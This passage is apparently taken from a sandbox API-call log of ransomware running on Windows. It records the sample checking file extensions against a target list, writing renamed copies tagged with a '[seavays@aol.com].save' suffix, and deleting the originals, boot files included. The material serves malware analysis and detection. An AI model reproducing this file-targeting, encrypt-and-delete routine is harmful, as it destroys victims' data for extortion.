lpOverlapped=0x0) returned 1 [0054.265] SetEndOfFile (hFile=0x308) returned 1 [0054.265] CloseHandle (hObject=0x308) returned 1 [0054.268] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.268] SetEndOfFile (hFile=0x304) returned 1 [0054.269] CloseHandle (hObject=0x304) returned 1 [0054.269] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.270] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0054.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.270] lstrlenW (lpString=".doc") returned 4 [0054.270] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.270] lstrlenW (lpString=".docx") returned 5 [0054.270] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0054.270] lstrlenW (lpString=".pdf") returned 4 [0054.270] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.270] lstrlenW (lpString=".xls") returned 4 [0054.270] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.270] lstrlenW (lpString=".xlsx") returned 5 [0054.270] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0054.270] lstrlenW (lpString=".ppt") returned 4 [0054.270] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.270] lstrlenW (lpString=".zip") returned 4 [0054.270] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".rar") returned 4 [0054.271] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".bz2") returned 4 [0054.271] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".7z") returned 3 [0054.271] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.271] lstrlenW (lpString=".dbf") returned 4 [0054.271] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.271] lstrlenW (lpString=".1cd") returned 4 [0054.271] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.271] lstrlenW (lpString=".jpg") returned 4 [0054.271] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.271] lstrlenW (lpString=".doc") returned 4 [0054.271] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".docx") returned 5 [0054.271] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0054.271] lstrlenW (lpString=".pdf") returned 4 [0054.271] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".xls") returned 4 [0054.271] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString=".xlsx") returned 5 [0054.271] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0054.271] lstrlenW (lpString=".ppt") returned 4 [0054.271] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0054.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.272] lstrlenW (lpString=".zip") returned 4 [0054.272] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0054.272] lstrlenW (lpString=".rar") returned 4 [0054.272] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0054.272] lstrlenW (lpString=".bz2") returned 4 [0054.272] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0054.272] lstrlenW (lpString=".7z") returned 3 [0054.272] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0054.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.272] lstrlenW (lpString=".dbf") returned 4 [0054.272] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0054.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.272] lstrlenW (lpString=".1cd") returned 4 [0054.272] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0054.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0054.272] lstrlenW (lpString=".jpg") returned 4 [0054.272] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0054.272] lstrcmpiW (lpString1=".LOG", lpString2=".save") returned -1 [0054.272] lstrlenW (lpString="BCD.LOG") returned 7 [0054.272] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.272] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.272] lstrlenW (lpString=".doc") returned 4 [0054.272] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0054.272] lstrlenW (lpString=".docx") returned 5 [0054.273] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0054.273] lstrlenW (lpString=".pdf") returned 4 [0054.273] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0054.273] lstrlenW (lpString=".xls") returned 4 [0054.273] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0054.273] lstrlenW (lpString=".xlsx") returned 5 [0054.273] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0054.273] lstrlenW (lpString=".ppt") returned 4 [0054.273] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString=".zip") returned 4 [0054.273] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0054.273] lstrlenW (lpString=".rar") returned 4 [0054.273] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0054.273] lstrlenW (lpString=".bz2") returned 4 [0054.273] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0054.273] lstrlenW (lpString=".7z") returned 3 [0054.273] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString=".dbf") returned 4 [0054.273] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString=".1cd") returned 4 [0054.273] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString=".jpg") returned 4 [0054.273] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.273] lstrlenW (lpString=".doc") returned 4 [0054.273] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0054.273] lstrlenW (lpString=".docx") returned 5 [0054.274] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0054.274] lstrlenW (lpString=".pdf") returned 4 [0054.274] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0054.274] lstrlenW (lpString=".xls") returned 4 [0054.274] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0054.274] lstrlenW (lpString=".xlsx") returned 5 [0054.274] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0054.274] lstrlenW (lpString=".ppt") returned 4 [0054.274] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0054.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.274] lstrlenW (lpString=".zip") returned 4 [0054.274] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0054.274] lstrlenW (lpString=".rar") returned 4 [0054.274] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0054.274] lstrlenW (lpString=".bz2") returned 4 [0054.274] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0054.274] lstrlenW (lpString=".7z") returned 3 [0054.274] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0054.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.274] lstrlenW (lpString=".dbf") returned 4 [0054.274] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0054.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.274] lstrlenW (lpString=".1cd") returned 4 [0054.274] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0054.274] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0054.274] lstrlenW (lpString=".jpg") returned 4 [0054.274] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0054.274] lstrcmpiW (lpString1=".DAT", lpString2=".save") returned -1 [0054.275] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0054.275] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.607] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=65536) returned 1 [0054.607] CloseHandle (hObject=0x348) returned 1 [0054.607] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0054.607] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.607] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.607] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.607] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.607] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0054.608] GetLastError () returned 0x0 [0054.608] ReadFile (in: hFile=0x348, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x10000, lpOverlapped=0x0) returned 1 [0054.610] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x10010, lpOverlapped=0x0) returned 1 [0054.612] ReadFile (in: hFile=0x348, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.612] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0054.612] SetEndOfFile (hFile=0x36c) returned 1 [0054.612] CloseHandle (hObject=0x36c) returned 1 [0054.615] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.615] SetEndOfFile (hFile=0x348) returned 1 [0054.616] CloseHandle (hObject=0x348) returned 1 [0054.616] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0054.616] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0054.617] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.617] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.617] lstrlenW (lpString=".doc") returned 4 [0054.617] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString=".docx") returned 5 [0054.617] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0054.617] lstrlenW (lpString=".pdf") returned 4 [0054.617] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString=".xls") returned 4 [0054.617] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString=".xlsx") returned 5 [0054.617] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0054.617] lstrlenW (lpString=".ppt") returned 4 [0054.617] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.617] lstrlenW (lpString=".zip") returned 4 [0054.617] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString=".rar") returned 4 [0054.617] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString=".bz2") returned 4 [0054.617] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0054.617] lstrlenW (lpString=".7z") returned 3 [0054.617] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0054.617] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.617] lstrlenW (lpString=".dbf") returned 4 [0054.617] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0054.617] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.617] lstrlenW (lpString=".1cd") returned 4 [0054.617] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.618] lstrlenW (lpString=".jpg") returned 4 [0054.618] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.618] lstrlenW (lpString=".doc") returned 4 [0054.618] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString=".docx") returned 5 [0054.618] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0054.618] lstrlenW (lpString=".pdf") returned 4 [0054.618] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString=".xls") returned 4 [0054.618] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString=".xlsx") returned 5 [0054.618] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0054.618] lstrlenW (lpString=".ppt") returned 4 [0054.618] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.618] lstrlenW (lpString=".zip") returned 4 [0054.618] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString=".rar") returned 4 [0054.618] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString=".bz2") returned 4 [0054.618] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0054.618] lstrlenW (lpString=".7z") returned 3 [0054.618] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.618] lstrlenW (lpString=".dbf") returned 4 [0054.618] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0054.618] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.619] lstrlenW (lpString=".1cd") returned 4 [0054.619] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0054.619] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0054.619] lstrlenW (lpString=".jpg") returned 4 [0054.619] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0054.619] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.619] lstrlenW (lpString="Alphabet.xml") returned 12 [0054.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.772] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=791421) returned 1 [0054.772] CloseHandle (hObject=0x370) returned 1 [0054.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0054.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString=".doc") returned 4 [0054.773] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString=".docx") returned 5 [0054.773] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0054.773] lstrlenW (lpString=".pdf") returned 4 [0054.773] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString=".xls") returned 4 [0054.773] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString=".xlsx") returned 5 [0054.773] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0054.773] lstrlenW (lpString=".ppt") returned 4 [0054.773] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString=".zip") returned 4 [0054.773] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.773] lstrlenW (lpString=".rar") returned 4 [0054.773] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString=".bz2") returned 4 [0054.773] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString=".7z") returned 3 [0054.773] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString=".dbf") returned 4 [0054.773] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString=".1cd") returned 4 [0054.773] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.773] lstrlenW (lpString=".jpg") returned 4 [0054.773] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString=".doc") returned 4 [0054.774] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString=".docx") returned 5 [0054.774] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0054.774] lstrlenW (lpString=".pdf") returned 4 [0054.774] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString=".xls") returned 4 [0054.774] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString=".xlsx") returned 5 [0054.774] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0054.774] lstrlenW (lpString=".ppt") returned 4 [0054.774] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString=".zip") returned 4 [0054.774] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.774] lstrlenW (lpString=".rar") returned 4 [0054.774] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString=".bz2") returned 4 [0054.774] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString=".7z") returned 3 [0054.774] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString=".dbf") returned 4 [0054.774] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString=".1cd") returned 4 [0054.774] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0054.774] lstrlenW (lpString=".jpg") returned 4 [0054.774] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.775] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.775] lstrlenW (lpString="Content.xml") returned 11 [0054.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.775] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=27045) returned 1 [0054.775] CloseHandle (hObject=0x370) returned 1 [0054.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0054.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.776] lstrlenW (lpString=".doc") returned 4 [0054.776] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString=".docx") returned 5 [0054.776] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0054.776] lstrlenW (lpString=".pdf") returned 4 [0054.776] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString=".xls") returned 4 [0054.776] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString=".xlsx") returned 5 [0054.776] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0054.776] lstrlenW (lpString=".ppt") returned 4 [0054.776] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.776] lstrlenW (lpString=".zip") returned 4 [0054.776] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.776] lstrlenW (lpString=".rar") returned 4 [0054.776] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString=".bz2") returned 4 [0054.776] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.776] lstrlenW (lpString=".7z") returned 3 [0054.776] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString=".dbf") returned 4 [0054.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString=".1cd") returned 4 [0054.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString=".jpg") returned 4 [0054.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString=".doc") returned 4 [0054.777] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString=".docx") returned 5 [0054.777] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0054.777] lstrlenW (lpString=".pdf") returned 4 [0054.777] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString=".xls") returned 4 [0054.777] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString=".xlsx") returned 5 [0054.777] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0054.777] lstrlenW (lpString=".ppt") returned 4 [0054.777] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString="C:\\Program Files\\Common 